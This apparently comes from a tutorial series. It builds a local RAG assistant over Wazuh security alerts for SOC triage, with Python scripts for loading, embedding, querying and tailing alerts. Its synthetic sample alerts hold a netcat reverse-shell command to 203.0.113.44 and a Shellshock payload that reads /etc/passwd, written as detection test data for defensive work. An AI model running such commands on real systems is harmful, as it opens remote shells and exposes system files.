Tutorial

Run a Private AI Assistant in Your SOC

Build a RAG pipeline over Wazuh alerts that helps analysts triage incidents without sending data to external services.

3 min read intermediate
AI Security

Prerequisites

  • Tutorial: Build a Local RAG Pipeline with Ollama and ChromaDB
  • Basic Wazuh familiarity

Part 6 of 8 in Local RAG Pipeline

← Prev Next →

Table of Contents

Note

Background reading This tutorial is the hands-on companion to Private AI in Your SOC: How to Run LLMs Locally, which covers model selection, hardware requirements, data scoping, and operational boundaries. That post answers “should you run LLMs in your SOC?” This tutorial answers “here is the code.”

The base RAG tutorial builds a pipeline over security advisories. That is useful for vulnerability research, but most SOC analysts spend their time on something different: triaging alerts. They need to quickly understand what happened, whether it matters, and what to do next.

This tutorial builds a RAG pipeline over Wazuh alerts. You ingest alert JSON from the Wazuh manager, normalize it into a searchable corpus, and expose a query interface designed for triage questions. The result is a local AI assistant that can answer “what happened on this host in the last hour?” or “which alerts are related to this IP?” without sending a single byte of telemetry to an external service.

Architecture

The pipeline follows the same pattern as the base tutorial, with Wazuh alerts as the document source.

   ┌──────────────────────┐
   │  Wazuh Manager       │
   │  /var/ossec/logs/    │
   │  alerts/alerts.json  │
   └──────────┬───────────┘
              │
        export / tail
              │
   ┌──────────▼───────────┐
   │  Normalize + Chunk   │
   │  (wazuh_loader.py)   │
   └──────────┬───────────┘
              │
        embed + store
              │
   ┌──────────▼───────────┐
   │  ChromaDB            │
   │  (alert_store)       │
   └──────────┬───────────┘
              │
        retrieve + generate
              │
   ┌──────────▼───────────┐
   │  SOC Query Interface │
   │  (soc_query.py)      │
   └──────────────────────┘

The existing post’s enrichment script does one-shot LLM calls per alert. This tutorial builds something fundamentally different: a searchable knowledge base over historical alerts. Analysts can query across alerts, find patterns, and get contextual answers that reference multiple events.

Step 1: Prepare alert data

Wazuh stores alerts in /var/ossec/logs/alerts/alerts.json on the manager. Each line is a JSON object representing a single alert.

If you have a running Wazuh instance, export recent alerts:

tail -1000 /var/ossec/logs/alerts/alerts.json > sample_alerts.json

If you do not have Wazuh available, create sample_alerts.json with synthetic alerts that match Wazuh’s format:

{"timestamp":"2026-04-14T08:23:15.000+0000","rule":{"level":5,"description":"sshd: authentication success.","id":"5715","groups":["syslog","sshd","authentication_success"]},"agent":{"id":"003","name":"web-server-01","ip":"10.0.1.15"},"data":{"srcip":"10.0.2.50","srcuser":"admin","dstuser":"admin"},"full_log":"Apr 14 08:23:15 web-server-01 sshd[12345]: Accepted publickey for admin from 10.0.2.50 port 54321 ssh2"}
{"timestamp":"2026-04-14T08:24:02.000+0000","rule":{"level":10,"description":"sshd: Multiple authentication failures.","id":"5720","groups":["syslog","sshd","authentication_failures"]},"agent":{"id":"003","name":"web-server-01","ip":"10.0.1.15"},"data":{"srcip":"203.0.113.44","srcuser":"root"},"full_log":"Apr 14 08:24:02 web-server-01 sshd[12346]: Failed password for root from 203.0.113.44 port 43210 ssh2"}
{"timestamp":"2026-04-14T08:24:45.000+0000","rule":{"level":12,"description":"sshd: brute force attack.","id":"5763","groups":["syslog","sshd","authentication_failures"]},"agent":{"id":"003","name":"web-server-01","ip":"10.0.1.15"},"data":{"srcip":"203.0.113.44","srcuser":"root"},"full_log":"Apr 14 08:24:45 web-server-01 sshd[12347]: message repeated 15 times: Failed password for root from 203.0.113.44"}
{"timestamp":"2026-04-14T09:01:12.000+0000","rule":{"level":7,"description":"Integrity checksum changed.","id":"550","groups":["ossec","syscheck","syscheck_entry_modified"]},"agent":{"id":"004","name":"db-server-01","ip":"10.0.1.20"},"syscheck":{"path":"/etc/passwd","md5_before":"abc123","md5_after":"def456","changed_attributes":["md5","sha1"]},"full_log":"File '/etc/passwd' checksum changed."}
{"timestamp":"2026-04-14T09:15:30.000+0000","rule":{"level":3,"description":"Firewall drop event.","id":"2503","groups":["firewall","iptables","drop"]},"agent":{"id":"005","name":"fw-01","ip":"10.0.1.1"},"data":{"srcip":"198.51.100.77","dstip":"10.0.1.15","dstport":"22","protocol":"TCP"},"full_log":"Apr 14 09:15:30 fw-01 kernel: DROP IN=eth0 SRC=198.51.100.77 DST=10.0.1.15 PROTO=TCP DPT=22"}
{"timestamp":"2026-04-14T09:30:00.000+0000","rule":{"level":10,"description":"New user added to the system.","id":"5902","groups":["syslog","adduser"]},"agent":{"id":"003","name":"web-server-01","ip":"10.0.1.15"},"data":{"srcuser":"admin","dstuser":"backdoor_user"},"full_log":"Apr 14 09:30:00 web-server-01 useradd[12400]: new user: name=backdoor_user, UID=1001, GID=1001, home=/home/backdoor_user"}
{"timestamp":"2026-04-14T09:32:15.000+0000","rule":{"level":12,"description":"Shellshock attack attempt.","id":"31168","groups":["web","attack","shellshock"]},"agent":{"id":"003","name":"web-server-01","ip":"10.0.1.15"},"data":{"srcip":"203.0.113.44","url":"/cgi-bin/test.cgi"},"full_log":"203.0.113.44 - - [14/Apr/2026:09:32:15] \"GET /cgi-bin/test.cgi HTTP/1.1\" 200 () { :; }; /bin/bash -c 'cat /etc/passwd'"}
{"timestamp":"2026-04-14T09:45:00.000+0000","rule":{"level":5,"description":"Process started.","id":"80790","groups":["process_monitor"]},"agent":{"id":"004","name":"db-server-01","ip":"10.0.1.20"},"data":{"command":"nc -e /bin/sh 203.0.113.44 4444"},"full_log":"type=EXECVE msg=audit(1713081900.000:1234): argc=5 a0=\"nc\" a1=\"-e\" a2=\"/bin/sh\" a3=\"203.0.113.44\" a4=\"4444\""}

Each alert contains: a timestamp, a rule (with level, description, and ID), an agent (the monitored host), and event-specific data (source IPs, file paths, commands, etc.). Wazuh rule levels range from 0 (ignored) to 15 (maximum severity). In a default Wazuh server configuration, alerts.json usually contains only events at or above the configured alert threshold, commonly level 3 and higher.

Step 2: Build the alert normalizer

The pipeline needs text documents, not raw JSON. Create wazuh_loader.py to convert alerts into a text format suitable for embedding:

import json


def load_alerts(filepath):
    """Load Wazuh alerts from a JSON lines file."""
    alerts = []
    with open(filepath) as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            try:
                alert = json.loads(line)
                alerts.append(alert)
            except json.JSONDecodeError:
                continue
    return alerts


def normalize_alert(alert):
    """Convert a Wazuh alert to a text document with metadata."""
    rule = alert.get("rule", {})
    agent = alert.get("agent", {})
    data = alert.get("data", {})
    syscheck = alert.get("syscheck", {})

    # Build the text representation
    parts = []
    parts.append(f"Alert: {rule.get('description', 'Unknown')}")
    parts.append(f"Rule ID: {rule.get('id', 'N/A')} | Level: {rule.get('level', 0)}")
    parts.append(f"Time: {alert.get('timestamp', 'N/A')}")
    parts.append(f"Agent: {agent.get('name', 'N/A')} ({agent.get('ip', 'N/A')})")

    if data.get("srcip"):
        parts.append(f"Source IP: {data['srcip']}")
    if data.get("dstip"):
        parts.append(f"Destination IP: {data['dstip']}")
    if data.get("srcuser"):
        parts.append(f"Source user: {data['srcuser']}")
    if data.get("dstuser"):
        parts.append(f"Destination user: {data['dstuser']}")
    if data.get("command"):
        parts.append(f"Command: {data['command']}")
    if data.get("url"):
        parts.append(f"URL: {data['url']}")
    if syscheck.get("path"):
        parts.append(f"File changed: {syscheck['path']}")

    groups = rule.get("groups", [])
    if groups:
        parts.append(f"Categories: {', '.join(groups)}")

    full_log = alert.get("full_log", "")
    if full_log:
        parts.append(f"Raw log: {full_log}")

    text = "\n".join(parts)

    # Metadata for ChromaDB filtering
    metadata = {
        "rule_id": str(rule.get("id", "")),
        "rule_level": rule.get("level", 0),
        "agent_name": agent.get("name", ""),
        "agent_ip": agent.get("ip", ""),
        "timestamp": alert.get("timestamp", ""),
        "source": f"wazuh-{rule.get('id', 'unknown')}",
    }

    if data.get("srcip"):
        metadata["src_ip"] = data["srcip"]

    return {"text": text, "metadata": metadata}


def load_and_normalize(filepath):
    """Load alerts and return normalized documents."""
    alerts = load_alerts(filepath)
    documents = [normalize_alert(a) for a in alerts]
    print(f"Loaded {len(documents)} alerts from {filepath}")
    return documents


if __name__ == "__main__":
    docs = load_and_normalize("sample_alerts.json")
    for doc in docs[:3]:
        print(f"\n{'='*60}")
        print(doc["text"])
        print(f"Metadata: {doc['metadata']}")

Test it:

python wazuh_loader.py

Each alert becomes a text block that reads naturally. The embedding model can process this text and find semantic relationships between alerts (e.g., an SSH brute force alert and a new user creation alert from the same agent are contextually related even though they use different terms).

Tip

Redact before embedding The normalized text includes source IPs and usernames. For most internal SOC use this is fine, but review what goes into the corpus against the data scoping tiers from the Private AI post. If your policy restricts PII in AI pipelines, add a redaction step before normalization.

Step 3: Ingest alerts into ChromaDB

Create soc_ingest.py:

import hashlib
import sys
import chromadb
import ollama
from wazuh_loader import load_and_normalize

COLLECTION_NAME = "wazuh_alerts"
EMBED_MODEL = "nomic-embed-text"


def embed(text):
    return ollama.embed(model=EMBED_MODEL, input=text)["embeddings"][0]


def ingest(filepath, reset=False):
    """Ingest normalized Wazuh alerts into ChromaDB."""
    client = chromadb.PersistentClient(path="./chroma_db")

    if reset:
        try:
            client.delete_collection(COLLECTION_NAME)
            print(f"Deleted existing collection '{COLLECTION_NAME}'")
        except ValueError:
            pass

    try:
        collection = client.get_collection(COLLECTION_NAME)
        print(f"Adding to existing collection '{COLLECTION_NAME}'")
    except ValueError:
        collection = client.create_collection(
            name=COLLECTION_NAME,
            metadata={"hnsw:space": "cosine"},
        )
        print(f"Created new collection '{COLLECTION_NAME}'")

    documents = load_and_normalize(filepath)

    ids = []
    embeddings = []
    texts = []
    metadatas = []

    for doc in documents:
        content_hash = hashlib.sha256(doc["text"].encode()).hexdigest()[:12]
        alert_id = f"alert-{doc['metadata'].get('rule_id', 'unknown')}-{content_hash}"
        ids.append(alert_id)
        embeddings.append(embed(doc["text"]))
        texts.append(doc["text"])
        metadatas.append(doc["metadata"])

    if ids:
        collection.upsert(
            ids=ids,
            embeddings=embeddings,
            documents=texts,
            metadatas=metadatas,
        )
        print(f"Ingested {len(ids)} alerts into '{COLLECTION_NAME}'")


if __name__ == "__main__":
    filepath = sys.argv[1] if len(sys.argv) > 1 else "sample_alerts.json"
    reset = "--reset" in sys.argv
    ingest(filepath, reset=reset)
# First run: create the collection
python soc_ingest.py sample_alerts.json --reset

# Subsequent runs: add new alerts incrementally
python soc_ingest.py new_alerts.json

Each alert becomes its own document in ChromaDB (alerts are typically short enough that chunking is unnecessary). The metadata enables filtered retrieval by rule level, agent, source IP, or timestamp.

Step 4: Build the triage query interface

Create soc_query.py with a prompt template designed for SOC analyst questions:

import chromadb
import ollama

COLLECTION_NAME = "wazuh_alerts"
EMBED_MODEL = "nomic-embed-text"
CHAT_MODEL = "llama3.2"
TOP_K = 5


def embed(text):
    return ollama.embed(model=EMBED_MODEL, input=text)["embeddings"][0]


def retrieve(question, where=None, n_results=TOP_K):
    """Retrieve relevant alerts, optionally filtered by metadata."""
    client = chromadb.PersistentClient(path="./chroma_db")
    collection = client.get_collection(COLLECTION_NAME)

    query_embedding = embed(question)

    results = collection.query(
        query_embeddings=[query_embedding],
        n_results=n_results,
        where=where,
        include=["documents", "metadatas", "distances"],
    )
    return results


def triage(question, where=None):
    """Full RAG triage: retrieve alerts, generate analyst summary."""
    print(f"Question: {question}\n")

    results = retrieve(question, where=where)
    chunks = results["documents"][0]
    metadata = results["metadatas"][0]

    if not chunks:
        print("No matching alerts found.")
        return

    print(f"Found {len(chunks)} relevant alerts:")
    for meta in metadata:
        print(f"  - Rule {meta['rule_id']} (level {meta['rule_level']}) on {meta['agent_name']}")
    print()

    context = "\n\n---\n\n".join(chunks)

    prompt = f"""You are a SOC analyst assistant. Based on the alert data
below, provide a triage summary. Include:
1. What happened (timeline of events)
2. Severity assessment
3. Whether the alerts appear related
4. Recommended next steps for the analyst

Be concise and specific. Reference rule IDs and agent names.
If the data is insufficient, say what additional information would help.

Alert data:
{context}

Analyst question: {question}"""

    response = ollama.chat(
        model=CHAT_MODEL,
        messages=[{"role": "user", "content": prompt}],
    )

    print("Triage Summary:")
    print(response["message"]["content"])


if __name__ == "__main__":
    import sys

    if len(sys.argv) < 2:
        print("Usage: python soc_query.py \"your question\"")
        sys.exit(1)

    triage(sys.argv[1])

Test with triage-style questions:

python soc_query.py "What happened during the suspicious SSH sequence?"
python soc_query.py "Summarize the SSH failures and follow-on activity"
python soc_query.py "Are there any signs of compromise on the network?"

The model retrieves relevant alerts and produces a structured triage summary with timeline, severity, correlation, and next steps.

Step 5: Add severity-based filtering

Analysts often want to focus on high-severity alerts. Use ChromaDB metadata filtering:

Use filters for exact identifiers such as IP addresses, hostnames, usernames, and rule IDs. Dense retrieval is good for narrative questions like “signs of compromise”; it is much less reliable for literal strings like 203.0.113.44.

# Only high-severity alerts (Wazuh level 10+)
triage(
    "What critical events happened recently?",
    where={"rule_level": {"$gte": 10}},
)

# Alerts from a specific agent
triage(
    "What happened on the database server?",
    where={"agent_name": "db-server-01"},
)

# Alerts from a specific source IP
triage(
    "What did this IP do?",
    where={"src_ip": "203.0.113.44"},
)

# Combined: high-severity alerts from a specific agent
triage(
    "Critical events on web-server-01",
    where={
        "$and": [
            {"rule_level": {"$gte": 10}},
            {"agent_name": "web-server-01"},
        ]
    },
)

Step 6: Structured output for automation

For integration with ticketing systems or SOAR platforms, produce structured JSON instead of prose. Add a triage_json function:

import json


def triage_json(question, where=None):
    """Generate structured triage output for automation."""
    results = retrieve(question, where=where)
    chunks = results["documents"][0]
    metadata = results["metadatas"][0]

    if not chunks:
        return {"summary": "No matching alerts", "confidence": "low", "next_steps": []}

    context = "\n\n---\n\n".join(chunks)

    prompt = f"""Based on the alert data below, return ONLY a JSON object
with these exact keys:
- "summary": one-sentence description of what happened
- "confidence": "high", "medium", or "low"
- "severity": "critical", "high", "medium", or "low"
- "related_alerts": list of rule IDs involved
- "affected_hosts": list of agent names
- "next_steps": list of recommended analyst actions

Return valid JSON only. No markdown, no explanation.

Alert data:
{context}

Question: {question}"""

    response = ollama.chat(
        model=CHAT_MODEL,
        messages=[{"role": "user", "content": prompt}],
        options={"temperature": 0.1},
    )

    text = response["message"]["content"].strip()

    try:
        return json.loads(text)
    except json.JSONDecodeError:
        return {
            "summary": text,
            "confidence": "low",
            "next_steps": ["Analyst review required: model did not return valid JSON"],
        }

Low temperature (0.1) makes the output more deterministic, which helps with JSON formatting consistency. The fallback handler catches cases where the model includes markdown fencing or explanation text alongside the JSON.

python -c "
from soc_query import triage_json
import json
result = triage_json('What happened with IP 203.0.113.44?')
print(json.dumps(result, indent=2))
"

Step 7: Continuous ingestion

New alerts should eventually flow into the pipeline automatically. The script below is a demo tailer for a lab or small proof of concept: it watches the current alert file, embeds each new line, and upserts it into ChromaDB. A production version needs checkpointing, batching, restart replay behavior, log rotation handling, and backpressure.

Create soc_watcher.py:

import hashlib
import time
import json
import chromadb
import ollama
from wazuh_loader import normalize_alert

COLLECTION_NAME = "wazuh_alerts"
EMBED_MODEL = "nomic-embed-text"
ALERT_LOG = "/var/ossec/logs/alerts/alerts.json"
POLL_INTERVAL = 30  # seconds


def embed(text):
    return ollama.embed(model=EMBED_MODEL, input=text)["embeddings"][0]


def watch_and_ingest():
    """Tail the Wazuh alert log and ingest new alerts."""
    client = chromadb.PersistentClient(path="./chroma_db")
    try:
        collection = client.get_collection(COLLECTION_NAME)
    except ValueError:
        collection = client.create_collection(
            name=COLLECTION_NAME,
            metadata={"hnsw:space": "cosine"},
        )

    with open(ALERT_LOG) as f:
        # Seek to end of file
        f.seek(0, 2)
        print(f"Watching {ALERT_LOG} for new alerts...")

        alert_count = 0
        while True:
            line = f.readline()
            if not line:
                time.sleep(POLL_INTERVAL)
                continue

            line = line.strip()
            if not line:
                continue

            try:
                alert = json.loads(line)
            except json.JSONDecodeError:
                continue

            doc = normalize_alert(alert)
            content_hash = hashlib.sha256(doc["text"].encode()).hexdigest()[:12]
            alert_id = f"live-{doc['metadata'].get('rule_id', 'unknown')}-{content_hash}"

            collection.upsert(
                ids=[alert_id],
                embeddings=[embed(doc["text"])],
                documents=[doc["text"]],
                metadatas=[doc["metadata"]],
            )

            alert_count += 1
            rule_id = doc["metadata"].get("rule_id", "?")
            level = doc["metadata"].get("rule_level", "?")
            agent = doc["metadata"].get("agent_name", "?")
            print(f"  Ingested alert #{alert_count}: rule {rule_id} (level {level}) on {agent}")


if __name__ == "__main__":
    watch_and_ingest()

Run it while testing:

python soc_watcher.py &

For production, wrap the ingestion process in a systemd service similar to the timer shown in Connect Your RAG Pipeline to Live CVE Feeds, and persist the last processed file offset or Wazuh alert ID so restarts do not skip or duplicate large ranges of alerts.

Warning

Corpus growth A busy Wazuh instance generates thousands of alerts per day. Without pruning, your ChromaDB collection will grow indefinitely. Implement a retention policy: delete alerts older than N days from the collection, or use a separate collection per time window (daily, weekly) and query across collections.

Common mistakes

Including raw credentials or PII

Wazuh alerts can contain usernames, IPs, file paths, and sometimes command-line arguments that include passwords or tokens. Review what the normalizer includes and strip sensitive fields. The normalizer above includes srcuser and srcip, which may be acceptable in your environment but not in others.

Oversized context from verbose alerts

Some Wazuh rules produce long full_log entries (multi-line audit logs, full HTTP requests). If a single alert text exceeds 1,000 characters, consider truncating full_log in the normalizer. The structured fields (rule description, agent, IPs) are usually more useful for retrieval than raw log lines.

Model hallucinating IOCs

When asked about a source IP, the model may generate plausible-sounding but fabricated context (e.g., “this IP is associated with APT-29”). The model has no threat intelligence beyond what is in the retrieved alerts. Add a line to the system prompt: “Do not reference threat intelligence or attribution not present in the alert data.”

Not separating alert collections from advisory collections

If you have both the advisory pipeline from the base tutorial and this alert pipeline, use separate ChromaDB collections (security_advisories and wazuh_alerts). Mixing document types in a single collection degrades retrieval quality because the embedding space conflates advisory language with alert language.

Next steps